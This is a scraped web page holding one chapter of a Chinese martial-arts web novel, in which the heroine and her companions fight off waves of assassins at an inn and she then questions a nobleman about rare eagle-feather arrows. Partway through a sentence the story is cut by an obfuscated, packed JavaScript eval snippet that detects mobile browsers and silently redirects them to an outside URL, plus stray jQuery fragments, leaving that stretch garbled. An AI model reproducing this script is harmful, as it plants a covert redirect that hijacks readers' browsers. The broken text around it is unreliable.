文趣网 > 其他小说 > 雇主竟是我的前同事 > 8. 冷月如霜华
    徐衍策吩咐丁磊先安排几名护卫将这里清扫干净,剩下的人全部在二楼做好夜巡。

    罗桑至今还心有余悸,也不回房间休息,就呆呆的坐在旁边出神。

    陆清杳倒了碗水递给她:“罗姑娘,你还好吧?”

    听到有人在叫她,双眼才缓慢聚焦回神,“啊?”罗桑迟钝了一下,怔怔地开口:“哦,还好……还好……。”

    怎么会还好?!

    她实在想不明白在茶棚见到的徐公子明明谈吐得当,气质温润,令人如沐春风,怎地到了客栈后这样杀人如麻。

    果然人不可貌相……

    她接过茶水,冰凉的茶水让她想起刚刚发生的每一幕……

    犹想刚才,她和父母亲被敲门的声惊醒。

    来人表明来意,让他们现下立刻去丁磊护卫的房间里汇合,否则恐有性命之危。

    他说完后便从门口离开了。

    罗母耳朵灵,听得出这是白天那位徐公子的声音,于是他们急忙忙跑到丁护卫的房间。

    刚踏进房间半步,就听见陆姑娘喊有刺客,此时徐公子带着掌柜和胡伯也来到了房间里。

    随即两声巨响,丁护卫房间的窗牗被黑衣刺客破窗而入。

    而后那徐公子速度极快地徒手将一刺客重伤外地,夺了他手里刀,开始与刺客缠斗,直至没有人再从窗户那儿进来…

    冰凉的茶水入喉,让罗桑不禁打了个寒颤。

    她看不出徐公子的武功到底有多高,她只知道他杀人的速度极快,以至于她还没看清是如何过招的,刺客就已经瘫倒在地了。

    徐衍策和丁磊站在一扇木窗前,这个位置正好能看到客栈门前的那一大片竹林。

    云闻几人也帮着清理这客栈内的一片狼藉,没有人回屋。

    就在此时,异变徒生。

    近乎同一时间,陆清杳倏地从罗桑身边起身,徐衍策开口说道:“连弩手准备!”

    她走到徐衍策身边,望着黑漆漆的竹林,说道:“恐怕来的人比刚刚还要多。”

    徐衍策低头笑了笑,摇头叹道:“看来这潘老头是下血本了。”

    随即,他面露正色,吩咐其他护卫:“此番恐怕有近二百人,各位弟兄都已有伤在身,我们现下不宜与他们发生直面冲突,我们的物资还算齐全,连弩手先消耗他们一半人再说。”

    他转头对丁磊说:“等会儿看见来人,直接放箭!”旋即大步往他自己的厢房走去。

    其他人都屏息凝神地看着窗外影影憧憧的竹林。

    陆清杳开口:“来了。”

    丁磊也看到了竹林中那些黑衣刺客留下的残影,下令道:“放箭!”

    一时间,箭矢如雨,耳边全是连弩手拉动铁锲的声音。

    箭矢划破长空,直直射向竹林。

    冲在前排的刺客,都被这密密麻麻的射倒在地。

    不知不觉,敌人已损失近半。

    但仍有部分刺客冲破了这密如织网的箭羽,逼近了客栈前面种满春菊的甬道。

    陆清杳见此,拔出月剑。

    一个月白的身影飞跃而下。

    她的步子轻盈,身影如鬼魅般飘忽不定。

    一人在屏息间,竟连杀了三名刺客!

    在二楼的马余都还来不及眨眼,眼看她的剑又连刺穿两人……

    原来这才是阿杳姐的真正的水平……

    那当时跟他们在镖局打的算什么??

    月剑在她手中一次次的挥动,形如风中的柳絮,看似柔弱,却总是以不可思议的角度直取敌人性命。

    若是忽略掉那银刃上绽开的点点血花,这定是一段十分曼妙的剑舞。

    可惜,在陆清杳的对手看来,她的剑从来就只有一种感觉,那就是冷,冷月如霜华,故而她的剑叫做月华剑。

    在一旁的李彪将刚刚的一幕看得热血沸腾,大喊:“阿杳妹子,我来助你!”

    “我也去!”云闻也同样心潮澎湃,没想到他们身边竟有如此厉害的高手!

    马余看他俩都下去了,不由喊到:“哎哎,等等我呀!”

    跳进杀手堆里,马余只有一个想法,那就是杀杀杀!

    起初他见到阿杳姐的剑势浑然天成,仿佛剑与她已融为一体。

    这种境界令人心向往之。

    随后被李彪他们激得情绪高涨,刚冲下来时,他一套剑术行云流水,直接击杀了两名刺客。

    丁磊看着楼下正厮杀得十分胶着,心里不免有些焦急。

    虽然陆姑娘很厉害,也有几位朋友帮忙,可是对面实在人数众多,必须速战速决。

    丁磊在二楼本欲前去支援,还未踏出半步突然一只手掌摁在了他的肩膀上。

    “你在上面帮他们做掩护就行,不用担心,他们能解决。”

    他回头一看,是徐衍策。

    徐衍策手中拿着一柄漆黑的剑,也不知在后边儿站了多久……

    当李彪几人在杀得正亢奋时,若没太注意身后的危险,二楼处也还会射来一支弓箭给他们做掩护。

    片刻后,他们几人就将这第二批刺客给剿灭干净了……

    沉重的墨色缓缓褪去,天边泛起一抹鱼肚白。

    竹林间的薄雾开始渐渐散去,微弱的晨光洒在大地,四周十分安静,只能听到他们几人的喘息声和清脆的鸟鸣。

    马余和李彪直接累得往地上一躺,反正外袍已经沾满了血迹,也没在意这些小细节。

    云闻倒是杵在那儿,看着天边的朝霞,无声地笑了。

    真是酣畅淋漓的一场战斗!爽快!

    晨光熹微,破晓的霞光晕在陆清杳的侧脸上,给她清冷的五官添了几分柔和。

    陆清杳蹲下身,细细查看着这些箭矢。

    她摸着这些箭羽,眼皮微垂。

    果然不出所料。

    这箭羽的羽毛是极其罕见的角鹰羽,与他们那晚在赵氏镖局被围攻之时,解困之人射出箭矢上的羽毛一模

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838758|211565||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一样。

    陆清杳不信巧合,安城里的人难不成都能找到角鹰来制箭羽?

    那么最接近真相的解释是,那晚解他们之困的人是徐衍策派来的。

    可那晚她是在潘府书房的檐瓦上,听到了潘序与面具人的对话,方才能有所防备。

    那他又是如何得知那晚镖局被围,做到闻声迅速地赶来的呢?

    思及此处,她折断了一根弓箭上的箭羽,将它揣兜里带回。

    陆清杳回到客栈洗漱了一番,打算小憩片刻后,就去找徐衍策。

    许是整晚几乎没合眼,不成想一睡就睡到了晌午。

    梦中烈焰腾空。

    她又听见九畹使催她赶紧走的声音,看见斐老倒在血泊中的身影……

    她这一觉睡得昏昏沉沉。

    醒来后,打听到徐衍策刚在他的厢房里用了午饭,接着她收拾好后就踏出房门。

    “叩叩——”

    “进。”

    陆清杳看见徐衍策正在一案桌上练字,指节分明的手,写出的字苍劲有力,在字里行间中还能窥见一丝冲和淡远。

    淡淡的松墨香萦绕在鼻尖,她将断羽轻放置他的案桌上,语气微沉,抬眼看他:“此次前来,是为了请教徐公子这是何物?”

    徐衍策从她进屋后,就一直没抬头:“普通箭羽,能是何物,难不成是奇珍异宝?”

    她伸手摸着那羽毛,笑道:“此箭羽锋利如刃,又坚硬无比,还顺滑如丝。可不就是难得的宝贝。”

    听她说完,他才不急不慢地将最后一个字写好,缓声开口:“徐某不才,不懂陆姑娘此话何意?”

    陆清杳见他装傻充愣也没生气,平静叙述道:“这箭羽同那晚赵氏镖局射死黑衣刺客的那箭羽一样。”

    徐衍策余光瞟了眼她放在案桌上的箭羽,眸光微闪,不露声色。

    “这箭羽是用鹰羽制成。”陆清杳看他不答,继续开口。

    徐衍策悬墨停笔,抬眼看她,眼里充着笑意,徐徐说道:“难道安城就我一人可以使用鹰羽制成的箭矢?”

    她回:“可不可以不是问题关键,关键是连皇宫执金吾使用的箭羽也只是雁羽而已。”

    徐衍策垂下眼睑,眸闪过一抹不易察觉的亮光,将毛笔搁置在了笔山上,唇角勾起一抹极淡的弧度,笑意却不达眼底。

    他似笑非笑地看着她:“陆姑娘可懂得真多。”

    陆清杳假装没看到他浓如墨的眼眸里那显而易见的深意。

    她学着他勾勾嘴角,不答话,只是盯着他看。

    她的眼睛很明亮,所以你与她交谈的时候,总会显得她很专注。

    仿佛跟你说话是当下最要紧的事。

    徐衍策瞧她这模样,不由得哑然失笑。

    他眼里那抹深沉悄然敛去,染上丝丝戏谑,温声道:“说了半天,原来陆姑娘是来向我道谢的。”

    徐衍策移步茶桌,帮她倒了一杯水,淡淡一笑:“先喝口茶吧。”